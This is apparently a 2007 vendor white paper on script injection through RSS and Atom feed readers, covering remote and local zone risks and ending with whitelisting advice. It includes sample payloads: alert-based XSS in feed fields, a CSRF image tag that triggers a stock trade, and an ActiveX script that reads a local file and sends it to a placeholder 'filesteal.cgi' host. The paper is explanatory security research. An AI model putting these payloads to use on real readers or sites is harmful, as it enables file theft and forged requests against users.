Feed injection in Web 2.0: hacking RSS and Atom feed implementations

White paper

Table of contents

Introduction

Web 2.0 resulted from the movement to build a more responsive web. A new feature is the utilization of extensible markup language (XML) content feeds that use the Really Simple Syndication (RSS) and Atom standards. These feeds allow both users and websites to obtain content headlines and body text without needing to visit a site, providing you with a summary of the site's content. Unfortunately, many of the applications that receive this data do not consider the security implications of using third-party content, and they unknowingly make themselves and their attached systems susceptible to various forms of attack.

This white paper discusses various forms of attacks based on web feeds that follow the RSS, Atom and XML standards. The paper does not describe each XML element in detail and its usage within web-based feeds, nor does it address other vulnerability scenarios, such as buffer overflows and other XML-specific risks. This paper outlines the risks of lesser-known threats that are currently emerging on the web from cross-site scripting.

Web feeds as attack vectors

Browsers, local readers, websites and online portals such as Bloglines subscribe to feeds. These applications automatically fetch new content at intervals defined either on the receiving client or by the feed itself. Once users are subscribed, they are alerted to new entries where they can read the story title and usually a brief description of the story body. RSS specifications state that story bodies, the <description> tag, allow HTML entities in order to support HTML formatting, but they do not specify the use of literal HTML tag inclusions. Research into several web feed readers reveals different approaches to treating feed input and passing content to users.

Readers that treat <> as literals

The majority of tested readers use Microsoft® Internet Explorer® components to display data. In certain cases when a feed contains HTML tags, the viewer application displays the content literally. The following RSS 2.0 example shows a feed with only relevant tags:

```
<?xml version="1.0" encoding="ISO-8859-1"?> <rss
version="2.0"> <channel>
<title> <script>alert('Channel Title')</script>
</title>
<link>http://www.mycoolsite.com/
</link>
<description> <script>alert('Channel
Description')</script> </description>
<language>en-us
</language>
<copyright>Mr Cool 2007</copyright>

<pubDate>Thu, 22 Aug 2007 11:09:23
EDT</pubDate> <ttl>10</ttl> <image>
<title> <script>alert('Channel Image Title')</script>
</title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>

<description> <script>alert('Channel Image
Description')</script> </description>
</image>

<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script>
</description>

<pubDate>Thu, 22 Aug 2007 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>

</channel>
</rss>
```

Multiple instances of script injection appear in this example. During the presentation phase, readers treat the data as a literal and execute the script contained in the feed, in this case, JavaScript™. This may be used to install malicious software on the client system, steal cookies or conduct a wide range of harmful activities.

Readers that convert HTML entities to their true values

Most of the time, developers implement the standard XML specification for their web-based readers and convert HTML entities to their real values. Unfortunately, when they display this converted data, they may not consider the potential for script injection. The following example uses an RSS 2.0 feed:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title> &lt;script&gt;alert('Channel Title')&lt;/script&gt;
</title>
<link>http://www.mycoolsite.com/</link>
<description> &lt;script&gt;alert('Channel
Description')&lt;/script&gt;
</description>
<language>en-us</language>
<copyright>Mr Cool 2007</copyright>
<pubDate>Thu, 22 Aug 2007 11:09:23
EDT</pubDate>
<ttl>10</ttl>
<image>
<title> &lt;script&gt;alert('Channel Image
Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>
<description> &lt;script&gt;alert('Channel Image
Description')&lt;/script&gt;
</description>
</image>

<item>
<title> &lt;script&gt;alert('Item Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> &lt;script&gt;alert('Item
Description')&lt;/script&gt; </description>
<pubDate>Thu, 22 Aug 2007 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>

</channel>
</rss>
```

Typically these RSS viewers convert &lt; to < and &gt; to > and then add that content to the content viewer (typically a browser component), which supports script execution. The majority of these readers converts the feed content and saves it to a file on the hard disk before loading it into the viewer. This opens the local zone as detailed in the *Local zone risks* section, discussed later in this paper.

Readers that strip &lt; &gt; < and > during display

The safest readers are not affected, because they strip out HTML entities and metacharacters before displaying the information to the user. Readers that support both RSS and Atom technologies properly strip one technology but not the other and are still vulnerable.

If you are familiar with cross-site scripting attacks, you may know some of the things you can do with script injection. However, make sure you consider all of the implications regarding web feed readers.

Risks by zone

Remote zone risks

Web browsers and web-based readers are usually in the remote zone category. When a reader is vulnerable in the remote zone, attackers are limited in what they can do. However, successful attacks can still occur.

Cross-site request forgery
An attacker can use cross-site request forgery (CSRF or XSRF) attacks in various ways to make a system send requests to a website in order to execute commands. For example:

```
<imgsrc="http://www.mystocktradersite.com/transaction
.asp?sell=google&buy=Microsoft&numshares=1000">
```

In this example, an attacker can inject an `<img src>` tag into a feed to make a system connect to a stock trading site named "www.mystocktradersite.com" in order to sell some stocks and buy others. Additional information on cross-site request forgery can be found in the appendix of this paper.

Potential to launch attacks
Because attackers can send requests to other sites, they may trick your browser into conducting web-based attacks on their behalf. These attacks may cause denial of service conditions in the remote site, or if the site is vulnerable, execute commands on it. In this case, the attacker has the advantage in that your IP address is logged. Investigation by the victim may lead to you instead of to the attacker.

POST data and spam
Many web applications use common web libraries, such as the Perl CGI.PM module, for various functions including parameter fetching. Some of these libraries let developers request "give me this parameter" without specifying whether the request came into the application as POST data or GET. If the application uses POST, an attacker who wants to attack a remote system's application may convert the requests to GET. Depending on the number of vulnerable subscribers, an attacker may exploit this feature and cause thousands of victims to spam a particular site with submissions from web forms.

Local zone risks

The readers that make users vulnerable to local zone attacks typically convert the feed into an HTML file, store it in a local file and load it into an Internet Explorer instance. By loading the file from the disk, the readers open the file to the local browser's zone and functionality. This functionality includes access to ActiveX objects with permissions to read and write files to the disk. The following example reads a local file called `c:\test.txt` and sends a copy of it to a third-party host:

```
<script>
txtFile="";theFile="C:\\test.txt";
var thisFile = new
ActiveXObject("Scripting.FileSystemObject");
var ReadThisFile = thisFile.OpenTextFile(theFile,1,true);
txtFile+= ReadThisFile.ReadAll();
ReadThisFile.Close(); alert(txtFile);
document.location='http://host/cgi-bin/filesteal.cgi?' +
txtFile
</script>
```

When viewing the feed, users are often presented with an ActiveX warning, asking whether they want to execute the script before seeing the content. Savvy users click on No; however, many users do not know better. A large percentage of local readers are affected by this problem, and some do not even warn users before executing the ActiveX control.

In addition to accessing the file system and performing remote zone attacks, local zone access provides other risks, such as access to the XMLHttp and XMLHttpRequest objects typically used by Ajax applications. This object is usually limited to sending requests to the same domain that contains the code from which it came (in the remote zone). However, in the local zone, there is no limit on what can be requested. This allows an attacker to include code in a feed to scan the ports of a back-end network, identifying open ports and potentially launching attacks automatically while behind the firewall without the users' knowledge. As a result, there is potential for a worm. The following example demonstrates sending a request to a remote host:

```
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
 xmlhttp.open("POST",
'http://attackedhost/foo/bar.php', true);
 xmlhttp.onreadystatechange = function () {
  if (xmlhttp.readyState == 4) {
      alert(xmlhttp.responseText);
  }
 };
 xmlhttp.send(post_data);
</script>
```

Additional presentations by Jeremiah Grossman provide examples of keystroke recording and direct attacker interaction with the user host and can be found in the appendix of this paper.

Reader type-specific risks

Web reader risks

Users typically use browsers or local clients to subscribe to a web-based feed, which can be affected by both local and remote zone issues, depending on the application's implementation. Online sites, such as Bloglines or Google, provide web-based feed viewers and have remote zone risk. Vulnerabilities in web-based viewers grant attackers access to the site's zone, allowing cookie theft and enabling potential cross-site scripting attacks.

Website risks

The potential impact of a feed-based attack increases significantly when the feed being controlled is syndicated on other web sites. For example, if an attacker-controlled feed is created on Site A and implemented on Site B, its content is included in Site B's content. If Site B is also vulnerable to a web feed attack, the attacker can then access Site B's remote zone and users. In some cases, an attacker-controlled feed is included in feeds to other sites and also to users who pass it elsewhere, rapidly expanding the base of possible victims.

Using a feed as a deployment vector

The potential for using web-based feeds as an exploit deployment vector for both known and zero-day exploits is large. This becomes more apparent when a feed is resyndicated in other sites' feeds. Millions of users may be affected, making web-based feeds an attractive method for worm deployment.

How do you utilize a web feed vulnerability?

You can use vulnerabilities in web feed clients if:

- The feed owner is malicious. Although this is not the case in most situations, it is a possibility.
- The site providing the feed is hacked. Defacement archives show that thousands of sites are defaced daily. An attacker who wants to inject malicious payloads into a feed rather than deface the site has a greater chance of evading detection for a longer period of time and thus can affect more machines.
- The web-based feed is created from mailing lists, bulletin board messages, peer-to-peer (P2P) web sites, BitTorrent sites or user postings on blogs. These feeds provide a convenient way to inject a malicious payload.
- The feed is modified during the transport phase via proxy cache poisoning. However, the likelihood is small.

Risks by standard

RSS

The most typical vulnerabilities in RSS-based readers are within the Feed Title, Feed Description, Item Title, Item Link and Item Description XML elements, although others can also be affected. To use these fields, attackers only need to insert their malicious payloads into them. Depending on the vulnerable reader, attackers may need to insert literal script injection, HTML entity injection or a combination of the two. The following example shows script injection using various methods in a story entry:

```
<title><script>alert('Title Popup Example
')</script></title>
<link>&lt;script&gt;alert('Link Popup
Example')&lt;/script&gt;</link>
<description>&lt;script>alert('Description Popup
Example')&lt;/script></description>
</item>
```

A vulnerable reader attempts to display data within these fields and execute the script.

Atom

The majority of vulnerabilities in Atom applications are within fields similar to RSS. Vulnerable elements include Author Name, Entry Updated Element, Feed Title, Feed Subtitle, Feed Updated Element and Div. The following example shows script injection in an Atom story entry:

```
<entry xmlns="http://www.w3.org/2005/Atom">
<author>
<name> <script>alert('Entry Author')</script> </name>
</author>
<published> <script>alert('Entry Published')</script>
</published>

<updated> <script>alert('Entry Updated')</script>
</updated>
<link href="http://site/" rel="alternate" title="Site's Feed"
type="text/html"/>
<id> <script>alert('Entry ID')</script> </id>
<title type="html"><script>alert('Entry
Title')</script></title>
<content type="xhtml" xml:base="http://site/"
xml:space="preserve">
<div xmlns="http://www.w3.org/1999/xhtml">
<script>alert('Entry Div XMLNS')</script>
</div>
</content>
<draft xmlns="http://purl.org/atom-
blog/ns#">false</draft>
</entry>
```

Conclusion

In addition to attacks on servers, attackers have begun actively exploiting client-side vulnerabilities. This trend is not expected to slow down soon. Client-side vulnerabilities allow an attacker to execute payloads and extract information without needing to install software, creating less overhead for the attacker. Web-based feeds are quickly gaining in popularity and have been widely adopted to update software and firmware. Vulnerabilities associated with feeds include cross-site scripting, which is increasingly becoming an attack vector. Other risks, including keystroke logging and cross-site request forgery, are also increasing.

How can websites that provide feeds help prevent security issues that result from feed injection? Application developers can begin by "white listing" certain HTML tags, such as <b>, <br> and <font>. White listing refers to the practice of accepting input that is good, as opposed to trying to block input that is bad. Developers can also strip potentially malicious tags, such as < and >, to prevent many issues. However, that approach may also remove functionality and the ability to use HTML formatting. End users can help protect themselves by disabling script, applet and plug-in execution, although that can limit functionality as well.

Appendix: references and additional reading

What is Web 2.0?
http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09/30/what-is-web-20.html

Wikipedia RSS entry
http://en.wikipedia.org/wiki/RSS_(file_format)

Wikipedia list of content syndication markup languages
http://en.wikipedia.org/wiki/List_of_content_syndication_markup_languages

XML specification
http://www.w3.org/TR/REC-xml/

RSS specifications
http://www.rss-specifications.com/rss-specifications.htm

Atom specification
http://www.atomenabled.org/

Cross-Site Request Forgery
http://en.wikipedia.org/wiki/Cross-site_request_forgery

Cross-Zone Scripting
http://en.wikipedia.org/wiki/Cross_Zone_Scripting_

Cross-Site Scripting (XSS) FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml

Ajax
http://en.wikipedia.org/wiki/AJAX

Yahoo Ajax worm
http://www.macworld.com/news/2006/06/16/ajax/index.php

Yahoo RSS vulnerability
http://seclists.org/lists/bugtraq/2005/Oct/0205.html

Phishing with super bait
http://www.whitehatsec.com/presentations/phishing_superbait.pdf

Web browser customization
http://msdn2.microsoft.com/en-us/library/Aa770041.aspx

RSS 2.0 best practice tip: entity-encoded HTML in descriptions
http://mysttechnology.com/mysmartchannels/public/item/11878?model=user/mtp/web&style=user/mtp/web

To learn more, visit www.hp.com/go/software

4AA1-5385ENW October 2007

invent